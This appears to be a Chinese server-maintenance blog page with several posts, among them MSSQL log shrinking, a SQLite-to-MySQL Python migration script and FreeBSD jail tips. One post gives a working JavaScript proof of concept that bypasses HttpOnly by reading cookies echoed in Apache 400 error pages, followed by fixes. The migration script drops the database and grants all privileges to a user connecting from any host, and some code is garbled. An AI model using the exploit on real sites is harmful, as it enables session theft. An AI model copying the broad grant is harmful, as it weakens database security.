收缩MSSQL日志文件

作者:linux120 发布时间:December 28, 2012 分类:服务器维护

D盘告急,经查数据库日志文件为40G

通过下列语句间接收缩数据库日志文件大小。

backup log db_name WITH NO_LOG
backup log db_name WITH TRUNCATE_ONLY
DBCC SHRINKDATABASE(db_name)

db_name为数据库名。

Apache HttpOnly Cookie XSS跨站漏洞

作者:linux120 发布时间:December 26, 2012 分类:服务器维护

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}

function makeRequest() {
setCookies();

function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match

 content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/
(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}

makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
解决办法很简单:
1、升级apache到最新版本。
2、在httpd.conf中定义400错误为具体的页面,不使用系统自带的就行了。

Sqlite数据库迁移为Mysql程序

作者:linux120 发布时间:December 8, 2012 分类:服务器维护

应需求需要将2.7G大小的sqlite迁移为Mysql,因sqlite3与mysql个别字段类型及长度不一致,导出的sql语句不能直接导入到mysql中,需要将sqlite .dump出来的sql语句用下列程序处理后再导入到mysql中,程序为python环境。
stm.py
#! /usr/bin/env python
### A python script written for SQLite migrate to Mysql by Linux120.com
import re, fileinput, tempfile
from optparse import OptionParser

IGNOREDPREFIXES = [
'PRAGMA',
'BEGIN TRANSACTION;',
'COMMIT;',
'DELETE FROM sqlite_sequence;',
'INSERT INTO "sqlite_sequence"',
]

def _replace(line):
if any(line.startswith(prefix) for prefix in IGNOREDPREFIXES):
return
line = line.replace("INTEGER PRIMARY KEY", "INTEGER AUTO_INCREMENT PRIMARY KEY")
line = line.replace("AUTOINCREMENT", "AUTO_INCREMENT")
line = line.replace("DEFAULT 't'", "DEFAULT '1'")
line = line.replace("DEFAULT 'f'", "DEFAULT '0'")
line = line.replace(",'t'", ",'1'")
line = line.replace(",'f'", ",'0'")
return line

def _backticks(line, in_string):
"""Replace double quotes by backticks outside (multiline) strings
>>> _backticks('''INSERT INTO "table" VALUES ('"string"');''', False)
('INSERT INTO `table` VALUES (\\'"string"\\');', False)

>>> _backticks('''INSERT INTO "table" VALUES ('"Heading''', False)
('INSERT INTO `table` VALUES (\\'"Heading', True)

>>> _backticks('''* "text":http://link.com''', True)
('* "text":http://link.com', True)

>>> _backticks(" ');", True)
(" ');", False)

"""
new = ''
for c in line:
if not in_string:
if c == "'":
in_string = True
elif c == '"':
new = new + '`'
continue
elif c == "'":
in_string = False
new = new + c
return new, in_string

def _process(opts, lines):
if opts.database:
yield '''\
drop database {d};
create database {d} character set utf8;
grant all on {d}.* to {u}@'%' identified by '{p}';
use {d};\n'''.format(d=opts.database, u=opts.username, p=opts.password)
yield "SET sql_mode='NO_BACKSLASH_ESCAPES';\n"

in_string = False
for line in lines:
if not in_string:
line = _replace(line)
if line is None:
continue
line, in_string = _backticks(line, in_string)
yield line

def _removeNewline(line, in_string):
new = ''
for c in line:
if not in_string:
if c == "'":
in_string = True
elif c == "'":
in_string = False
elif in_string:
if c == "\n":
new = new + 'Newline333'
continue
if c == "\r":
new = new + 'carriagereturn333'
continue
new = new + c
return new, in_string

def _replaceNewline(lines):
for line in lines:
line = line.replace("Newline333", "\n")
line = line.replace("carriagereturn333", "\r")
yield line

def _Newline(lines):
in_string = False
for line in lines:
if line is None:
continue
line, in_string = _removeNewline(line, in_string)
yield line

def main():
op = OptionParser()
op.add_option('-d', '--database')
op.add_option('-u', '--username')
op.add_option('-p', '--password')
opts, args = op.parse_args()
lines = (l for l in fileinput.input(args))
lines = (l for l in _Newline(lines))
f = tempfile.TemporaryFile()
for line in lines:
f.write(line)
f.seek(0)
lines = (l for l in f.readlines())
f.close()
lines = (l for l in _process(opts, lines))
for line in _replaceNewline(lines):
print line,

if __name__ == "__main__":
main()

ERROR 1170 (42000): BLOB/TEXT column 'category1' used in key specification without a key length

作者:linux120 发布时间:December 6, 2012 分类:服务器维护

今天在帮一位客户(www.52verycd.com)将2.7G的SQLITE3文件转成Mysql5.1,具体迁移过程文章另撰,在导完数据以后在创建Mysql索引的时候发生如下错误:

mysql> CREATE INDEX cat1updtbriefttlidx on verycd (category1,updtime,brief,title);
ERROR 1170 (42000): BLOB/TEXT column 'category1' used in key specification without a key length

错误原因在于sqlite中对text类型做索引时没有附加要求,但是Mysql中text必须指定长度,这样建立索引的时候才会对长度有所约束。

解决办法:
ALTER TABLE将TEXT字段长度约束一下。

FreeBSD搭建虚拟机注意事项

作者:linux120 发布时间:December 4, 2012 分类:服务器维护

FreeBSD里面常用的虚拟机系统就是Jail了,下面介绍笔者多年来的Jail维护经验。
1、通常一台Dell R710装10台左右的Jail虚拟机。
2、Jail虚拟机多了以后对磁盘的需求很大,对于磁盘占用较大的应用不要用jail来做虚拟机,可以选择linux的xen.
3、创建和管理Jail虚拟机都使用ezjail,适合大规模部署虚拟机集成环境。
4、Jail宿主机的网关如果发生更改,必须重启宿主机才可以。
5、如果是Mysql这种高I/O需求的应用不建议放在Jail里面。